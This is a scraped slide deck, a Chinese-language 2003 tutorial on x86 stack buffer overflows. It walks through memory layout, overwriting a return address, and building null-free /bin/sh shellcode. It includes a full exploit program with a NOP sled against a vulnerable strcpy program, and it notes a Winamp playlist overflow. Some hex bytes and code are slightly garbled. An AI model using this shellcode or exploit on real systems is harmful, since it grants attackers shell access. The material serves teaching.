1 / 33

Buffer Overflow Instruction

Buffer Overflow Instruction. Enijmax 2003/06. Buffer Overflow 簡介. 什麼是 buffer overflow? 通常是程式設計師在程式中沒有檢查 buffer 的邊界而造成程式在執行時可以寫超過 buffer 的大小,進而造成系統安全上的問題。 Ex: 以下程式是最典型具有 buffer overflow 漏洞的程式: void main() { char buf[1024]; gets(buf); }. Buffer Overflow 造成的影響.

calix
Télécharger la présentation

Buffer Overflow Instruction

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Buffer Overflow Instruction Enijmax 2003/06

  2. Buffer Overflow簡介 • 什麼是buffer overflow? • 通常是程式設計師在程式中沒有檢查buffer的邊界而造成程式在執行時可以寫超過buffer的大小,進而造成系統安全上的問題。 • Ex:以下程式是最典型具有buffer overflow漏洞的程式: void main() { char buf[1024]; gets(buf); }

  3. Buffer Overflow造成的影響 • 若有一個buffer位址的後面,有一個變數是管理權限的,就可以利用該buffer來覆蓋到其後的變數,進而造成安全上的問題。 • 要避免這種問題:程式設計者要小心檢查buffer的邊界,或是使用較安全的系統函式(ex:strncpy)來取代原本不安全的函式,甚至不要使用c或c++這種沒有檢查buffer邊界的語言,而改用java等更高階的語言,或是使用靜態的工具來掃描程式是否有buffer overflow的漏洞(splint,mpr,its4…),或是使用動態保護(efence ,smashStade)或是IDS。

  4. 程式記憶體位址的配置 • Heap:程式中動態配置記憶體所用的記憶體空間。 • Stack:用來存放function return address和function的local variables(包括參數)及保存暫存器值的記憶體空間。 • BSS(block storage segment):用來存放程式中未初始化的全域變數的空間。 • Data Segment:用來存放已初始化的全域變數 • Text Segment:用來存放程式碼(固定不變的部分)。 • 最後兩塊記憶體大小在程式執行前就固定了。

  5. 記憶體位址圖解 • 最上層的是kernel memory,一般的user prog看不到 • 第二層是user stack,是自動配置給function的,用來存放參數、區域變數和return address • 第三層用來存放share library以及memory mapped file • 第四層存放動態配置記憶體 • 第五、第六層是存放全域變數和程式碼。

  6. Buffer Overflow的種類 • Stack Overflow: • 經由設定過長的資料來造成stack中buffer的overflow,主要造成的問題是return addr若被更改,對方就可以把return addr指向他人植入的程式碼,當目前的函式執行完畢時,就會跳去執行植入的程式碼。 • Heap Overflow: • 通常要和stack overflow來配合,入侵者會把程式碼放在heap中,再利用stack overflow來改寫return addr,把它指向heap。 • 除了return address外,可供利用的overflow對象還包括function pointer(c++中的virtual function table)以及setjmp,longjmp的buffer

  7. Stack的特性(x86平台) • 會隨著程式而增減,並且是由高位址長向低位址。 • 依照下列順序來存放各個資料 High address Parameter to the function(存放函式參數) The return address(存放回傳位址) The old base pointer(存放其呼叫函式的stack frame 位址) local variables(先宣告的變數放在較高位址) Low address • Intel CPU based的機器其資料儲存的方式為little endian,例:12(0x00000c)會存放成以下狀況 0xbffffa94: 0xc(12)0xbffffa95: 0x00xbffffa96: 0x00xbffffa97: 0x0 High 依序往高位址放 固定長度為4bytes 固定長度為4bytes 依序往低位址放 Low

  8. Heap的特性(x86平台) • 會隨著程式而增減,但是是由低位址長向高位址。 • 範例: • void main() { • char *str = (char *)malloc(sizeof(char)*4); • char *super_user =(char *)malloc(sizeof(char)*4); • printf(“addr of str:%p\n”,str); • printf(“addr of super_user:%p\n”,super_user); • } 執行結果: addr of str: 0x80496c0 addr of super_user: 0x80496d0

  9. 程式範例 • 範例程式碼: • int main(int argc,char **argv); • void concat_arguments(int argc, char **argv) { • char buf[20]; • char *p = buf; • int i; • } • int main(int argc, char **argv) { • concat_arguments(argc, argv); • } • Assembly code concat_arguments: pushl %ebp movl %esp, %ebp subl $56, %esp leal -40(%ebp), %eax movl %eax, -44(%ebp) leave ret High argument Return address %ebp ebp,esp ? 40 buf 56 P i esp Low

  10. 和stack相關的CPU暫存器 • Segment Registers • Stack Segment:指向整個stack的頂端。 • Index Registers • Base pointer:指向stack中正在執行的function stack 的 base location(存放在old base pointer的地方),在呼叫函式時會改變。 • Stack Pointer:記錄現在要讀取的var的offset,必須要和ss一起用才能正確指到資料的位址。 high ss Stack esp Func stack ebp low

  11. 呼叫函式時的動作 • Caller將callee的參數push到stack中(此時sp會隨之改變) • Caller執行call指令,call指令做兩件事: • 把return address push 到 stack中 • 把program counter指向function code address • 在callee中,會把base pointer push到stack中,並且copy sp的內容到bp中(ex:movl %esp %ebp)。 • 保留原始的register到stack中。 • 保留足夠的空間給local variables。 • function執行過程。 • 當函式要return回caller去執行時: • callee把sp指向return address(call指令幫我們push進來的)。 • Callee執行ret指令,將執行權丟回caller(把program counter指向return address)。 • Caller調整sp到old bp存放的位址。 • Caller會把base pointer由stack中pop出來,回復到之前的狀況。

  12. 製作buffer overflow exploit的步驟 • 先找出目標程式中可以overflow的buffer。 • 確定buffer被蓋掉之後到return之前不會再被更改。 • 先分析buffer的位址(stack的位址)。 • 撰寫攻擊程式 • Overflow buffer 導致程式入無窮迴圈。 • 植入attackCode到buffer中。

  13. 一個overflow的實例 • 目的: • 讓目標程式可以執行本身函式無限次! • 目標程式: • //progWithBO.c • void concat_arguments(int argc, char **argv) • { • char buf[20]; • char *p=buf; • int i; • char *tmp; • for (i = 1; i < argc; i++) { • strcpy(p, argv[i]); • p += strlen(argv[i]); • if (i + 1 != argc) { • *p++ = ' '; • } • } • } • int main(int argc, char **argv) • { • concat_arguments(argc, argv); • return (0); • }

  14. 一個overflow的實例 • 拿到上面的目標程式後,要先做以下兩件事: • 分析function address 為了讓程式不斷地跳入concat_arguments函式中,必需得到該函式的記憶體位址。在目標程式中加入一行:printf(“concat_argument:%p\n”,concat_arguments);重新compile並執行目標程式即可得到函式位址了。要注意的是,我們增加程式碼並不會影響到function address,且每次執行的時候function address都一樣。 註:也可以使用gdb來得到function address • 分析stack記憶體空間 攻擊者必須還要找出buffer距return address的距離,如此才能正 地將function address覆蓋到return address的空間中。 該程式中會在最後加上一個0x32(空白字元),若我們不想讓它去改到 argc的值,就要

  15. 一個overflow的實例 • 程式碼: • //attackProg.c • #include <stdio.h> • int main() { • char *buf = (char *)malloc(sizeof(char)*1024); • char **arr = (char **)malloc(sizeof(char *)*3); • int i; • for (i=0;i<44;i++) //將buffer用‘x’去填滿它,順便蓋過中間一些無用的資料 • buf[i]='x'; • buf[44] = 0xc8; //寫入return address • buf[45] = 0x83; //寫入return address • buf[46] = 0x4; //寫入return address • buf[47] = 0x8; //寫入return address • buf[48] = 0x2; //寫入參數(否則的話會被放入空白) • buf[49] = 0x0; //寫入參數 • arr[0] = “./Q1”; //要執行的程式 • arr[1] = buf; //參數一 • arr[2] = 0x00; //null • execv("./Q1s",arr); • }

  16. 一個overflow的實例 • 問題:將上兩個程式碼分別編譯過,執行AttackProg.c來攻擊progwithBO.c程式,理論上目標程式應該會進入無窮迴圈,但是事實上並沒有,反而在進入函式兩次後出現Segmentation fault。 • 原因:因為第二次進入函式時,我們並沒有執行caller應該做的事情,其中最重要的就是沒有做return address到stack上的這一個步驟,以致於接下來的pushl %ebp會將old bp寫在原來return address的地方,新的bp也會比上一次呼叫來得高了4個bytes,在strcpy後,覆蓋在return address的資料會變成“xxxx”,以致於再次return時會產生segmentation fault。

  17. 一個overflow的實例 • 解決方法: • 把return address用call function的address來填充。 • 取得call function address • 在progwithBO.c code中加入printf(“%p”,concat_arguments); • 先編譯取得assembly code(gcc –c –S –masm=intel Q1.c),產生出.s • 將Q1.s中的code做以下修改: 1. Call concat_arguments -> .JMP_ADDR: call concat_arguments 2. pushl $concat_arguments -> pushl $.JMP_ADDR 1.是新增一個標籤,其指向call concat_arguments的位址。 2.將原本印出concat_arguments的位址的printf改成印出call 的位址。 • 編譯Q1.s(gcc Q1.s –o Q1) • 執行Q1,就可以看到程式印出call concat_arguments的位址。 • Note:也可以用gdb直接取得該位址。

  18. 一個overflow的實例 • 得到call concat_arguments的位址後,改寫攻擊程式,把return address改成call concat_arguments的位址。 • 重新執行攻擊程式,就會看到函式呼叫一直loop執行了。 • 現在已經可以把程式跳向任何你想要的位址。

  19. 製作一個攻擊程式 • 入侵者將攻擊程式放入記憶體中,並且設計讓被攻擊的程式時,不知不覺地執行到該攻擊程式。 • 通常攻擊程式是一個會取得shell控制權的程式,它的樣子如下: //exploit.c void main() { char *s[2]; s[0] = “/bin/sh”; s[1] = 0x00; execve(s[0],s,NULL); } • 該程式執行完畢後,會得到該系統的shell,此時入侵者就可以執行任意想要執行的指令了。

  20. 攻擊程式的binary code • 由於攻擊程式必須藉由overflow buffer來植入,因此需要binary code • gcc –static exploit.c –o exploit • (gdb)gdb exploit • (gdb)disas execve • gdb will show the assembly code, and we have to remove or add some code to satisfy our goal. • execve system call needs four arguments: • eax:System call ID 0xb • ebx:Prog’s path and filename(null terminated) • ecx:address of array arguments(zero terminated) • edx:address of environment string

  21. 攻擊程式的binary code(cont.) • 因此我們需要特別將資料的存放重新設計在攻擊程式碼中。 • 在記憶體中必需有執行程式字串“/bin/sh”,且字串以null 結束。 • 必需有一個陣列儲存程式字串和參數,並且以0x0結尾,而我們必需知道其位址並copy到ecx中。 • Copy 0xb 到 eax 中。 • Copy “/bin/sh”字串的位址放到ebx • Copy NULL(0x0)放到edx 中。 • 執行int 0x80 • 若execve執行失敗,則跳出程式(exit),避免產生core dump。

  22. 攻擊程式的binary code(cont.) • execve assembly code 0x0804da00 <execve+0>: push %ebp -> 備分base pointer 0x0804da01 <execve+1>: mov $0x0,%eax -> 初始化eax 0x0804da06 <execve+6>: mov %esp,%ebp -> 更新base pointer為stack pointer的內容 0x0804da08 <execve+8>: test %eax,%eax -> 就是xorl %eax,%eax 0x0804da0a <execve+10>: push %edi -> 備分edi 0x0804da0b <execve+11>: push %ebx -> 備分ebx 0x0804da0c <execve+12>: mov 0x8(%ebp),%edi ->放入“/bin/sh”的address到di register中 0x0804da0f <execve+15>: je 0x804da16 <execve+22> -> 未知 0x0804da11 <execve+17>: call 0x0 -> 未知 0x0804da16 <execve+22>: mov 0xc(%ebp),%ecx -> 放入address of arg array到ecx 0x0804da19 <execve+25>: mov 0x10(%ebp),%edx -> 放入null的address 0x0804da1c <execve+28>: push %ebx -> 備分ebx 0x0804da1d <execve+29>: mov %edi,%ebx ->把di存的放到bx中 0x0804da1f <execve+31>: mov $0xb,%eax -> 放入system call id到ax中 0x0804da24 <execve+36>: int $0x80 -> 執行system call

  23. 攻擊程式的binary code(cont.) • 上述程式改成如下的組語程式: 00 jmp 0x26 ->執行26 bytes後的call敘述 02 pop %esi ->把string address pop出來 03 mov %esi,0x8(%esi) ->s[0],代表字串 06 mov 0x0, 0x7(%esi) ->s[1],代表null 0a mov 0x0,0xc(%esi) ->s[2],以0做array的結尾 11 mov 0xb,%eax ->放入system call ID 0xb到eax中 16 mov %esi,$ebx ->放入字串的address到ebx中 18 leal 0x8(%esi),%ecx ->放入參數array的address 1b leal 0xc(%esi),%edx ->放入null值的address 1e Int 0x80 ->執行execve 20 mov 0x1,%eax ->eax放入0x1(exit的system call id) 25 mov 0x0,%ebx ->ebx放入0x0 2a int 0x80 ->執行exit 2c call –0x2b ->把string address push到stack中並到第2行執行 31 .string \”/bin/sh\” ->必需字串 /bin/sh\0 address \0

  24. 攻擊程式的binary code(cont.) • 編譯該組語語法程式,並使用gdb取得hex code如下: “\xeb\e2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00” “\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80” “\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff” “\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3” • 以上程式碼並沒有錯誤,但是其中有許多null bytes,許多處理字串的函式都會把null bytes當做字串的結束符號,故我們需要移除null bytes,以其他的指令取代會產生null的指令。 movb 0x0, 0x7(%esi) -> xorl %eax,%eax movl 0x0,0xc(%esi) -> movl %eax,0x7(%esi) -> movl %eax,0xc(%esi) movl 0xb,%eax -> movb 0xb,%al movl 0x1,%eax -> xorl %ebx,%ebx movl 0x0,%ebx -> movl %ebx,%eax -> inc %eax

  25. 攻擊程式的binary code(cont.) • 修改後的程式碼(共46bytes): 00 jmp 0x1f ->\xeb\x1f 02 popl %esi ->\x5e 03 movl %esi,0x8(%esi) ->\x89\x76\x08 06 xorl %eax,%eax ->\x31\xc0 08 movb %eax,0x7(%esi) ->\x88\x46\x07 0b movl %eax,0xc(%esi) ->\x89\x46\x0c 0e movb $0xb,%al ->\xb0\x0b 10 movl %esi,%ebx ->\x89\xf3 12 leal 0x8(%esi),%ecx ->\x8d\x4e\x08 15 leal 0xc(%esi),%edx ->\x8d\x56\x0c 18 int $0x80 ->\xcd\x80 1a xorl %ebx,%ebx ->\x31\xdb 1c movl %ebx,%eax ->\x89\xd8 1e inc %eax ->\x40 1f int $0x80 ->\xcd\x80 21 call -0x24 ->\xe8\xdc\xff\xff\xff 26 .string \"/bin/sh\“ ->/bin/sh

  26. 取得stack位址 ret … bsize Buffer • 放攻擊程式要注意的事項: • 攻擊程式必須是buffer中的一部分,以便計算buffer的起始位址,但不可以蓋掉return address。 • 必須要把return address就是buffer的起始位址。 • 要將return address指向buffer的開端,必須要先找出一個reference的位址,而stack pointer所指向的位址對於每個程式來說想差有限,最適合來做參考位址,以下函式可以用來取得esp的值。 unsigned long get_sp(void) { __asm__(“movl %esp,%eax”); } • 由於每次執行stack pointer都不一樣,也沒有辦法拿到目標程式執行中的stack pointer,所以只能用隨機的offset值和reference的位址來猜測buffer的起點。

  27. 加入NOP指令 • NOP是什麼? • NOP是一個processor的指令,是代表所謂的空指令,也就是說processor看到它就什麼都不做,直接執行下一行。 • 為何要在buffer之前加入數個NOP指令? • 若沒有NOP,指令,return address必須精準地指到buffer的開端。為了方便起見,我們加入數個NOP指令在真正的程式之前,return address只要指向其中一個NOP指令即可,它都會執行到後面真正的code。 NOP exploit code ret

  28. Sample • 這是目標(被攻擊)程式(vulnerable.c): • #include<string.h> • int main(int argc,int **argv) • { • char buffer[512]; • if(argc>1) • { • strcpy(buffer,argv[1]); • } • }

  29. Sample (Cont.) • 這是我們撰寫的攻擊程式(exploit.c): • #include <stdlib.h> • #include <unistd.h> • #define DEFAULT_OFFSET 0 /*offset from stack pointer*/ • #define DEFAULT_BUFFER_SIZE 512 /*buffer size*/ • #define NOP 0x90 /*NOP instruction*/ • char shellcode[]= • "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3“ • "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff“ • " \xff\xff/bin/sh"; • unsigned long get_sp(void) { /*function to get esp values*/ • __asm__("movl %esp,%eax"); • }

  30. Sample (Cont.) • int main(int argc,char **argv) • { • char *buff , *ptr; • long *addr_ptr, addr; • int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; • int i; • if (argc > 1) • bsize = atoi(argv[1]); • if (argc > 2) • offset = atoi(argv[2]); • if (!(buff = (char *)malloc(bsize))) { • printf("can't allocate memory\n"); • exit(0); • } • addr = get_sp() - offset; /*set buffer start address*/ • printf("Using address:0x%x\n",addr); • ptr = buff; • addr_ptr = (long *)ptr; ret ret ret ret ret Shell Code 46 bytes bsize NOP NOP NOP NOP NOP

  31. Sample (Cont.) • for (i=0;i<bsize;i+=4) //fill the buffer with buff address • *(addr_ptr++) = addr; • for (i=0;i<bsize/2;i++) //fill NOP instruction in the half front of the buffer • buff[i] = NOP; • ptr = buff + (bsize/2) - (strlen(shellcode)/2); • for (i=0;i<strlen(shellcode);i++) • *(ptr++) = shellcode[i]; /*copy shell code into buffer*/ • buff[bsize-1] = '\0'; /*add null terminated symbol*/ • s[0]="./vulnerable1"; • s[1]=buff; • s[2]=0x00; • printf("call vulerable1 program:\n"); • execve(s[0],s,NULL); /*execute target program with designed buffer*/ • }

  32. Sample (Cont.) • 執行./exploit <bufferSize> <offset>後,它會先設定好buffer,再呼叫execve去執行vulnerable,並餵給設定完成的buffer。 • bufferSize : 通常設定比目標程式中的buffer大100bytes,以確保可以蓋到return address。 • offset : 是一個隨機猜測buffer位址的參數,一般大約在+-1000之間。 • 若可以順利取得shell的話,表示攻擊程式達到我們的要求了;若否,表示我們製做的buffer太長或是太短了,太長的buffer會去蓋到別人的stack,作業系統會產生segment fault,太短會沒有蓋到return address,目標程式就會正常結束。

  33. Winamp在windows XP上的buffer overflow • 在winamp 3.0 final和winamp 2.81中,可以使用.b4s來製造buffer overflow。 • 以下是b4s檔案的樣子: <?xml version="1.0" encoding='UTF-8' standalone="yes"?> <WinampXML> <!-- Generated by: Nullsoft Winamp3 version 3.0 --> <playlist num_entries="[number_of_entries]" label="[playlist_name]"> #(1) #first entry <entry Playstring="file:[patch_to_file]"> <Name>[name_of_the_song]</Name> <Length>[file_size_in_byts]</Lengt> </entry> #end of first entry </playlist> </WinampXML> • 若[playlist_name]大於16580b,則ecx,esi和return address都會被overwrite。

More Related